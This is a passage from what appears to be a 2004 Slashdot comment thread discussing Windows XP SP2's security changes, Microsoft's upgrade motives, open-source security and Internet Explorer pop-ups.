      That said, I can see them putting out XP SP2 (forcing the app vendors including MS themselves to deal with security) and then offering a variety of moderately painful workarounds. Ideally, the workarounds would break with each minor update, forcing the security issue.

      Putting the changes in XP only, though, does fit with Microsoft's motivation to get people to upgrade. Now they can say "well, W2K is not nearly as secure as XP", even though they could back port the changes to W2K -- though there is no motivation to do so.

      From motivations, though, it's hard to beat OSS on security. The code is there, and if something is not secure it will be made secure because the developers are personally driven to make it so.

      (ObDisclaimer: Keeping in mind that security is always a process not a product. Tools can be handy or even critical, though how they are used and why is much more important.)

      [ Parent ]
      • Re:I like it by SlightOverdose (Score:2) Saturday March 06 2004, @11:55AM
        • Re:I like it by Spoing (Score:2) Saturday March 06 2004, @12:17PM
          • Re:I like it by The Vulture (Score:2) Saturday March 06 2004, @01:44PM
            • Re:I like it by Spoing (Score:3) Saturday March 06 2004, @02:22PM
    • Longhorn by Overly Critical Guy (Score:2) Saturday March 06 2004, @03:52PM
      • 1 reply beneath your current threshold.
  • Start doing that work NOW! by cha0t1c (Score:2) Saturday March 06 2004, @09:41AM
  • Sounds like... (Score:5, Interesting)

    by Khan (19367) on Saturday March 06 2004, @09:43AM (#8484569)
    ...IE will continue to be broken then :-)

    Actually, I'm very interested to see if the SP2 pop-up ad blocker will actually work in IE since MS has dragged their feet on this issue. Half the battles we have been fighting lately at work involve IE and pop-ups that install crap without any notification.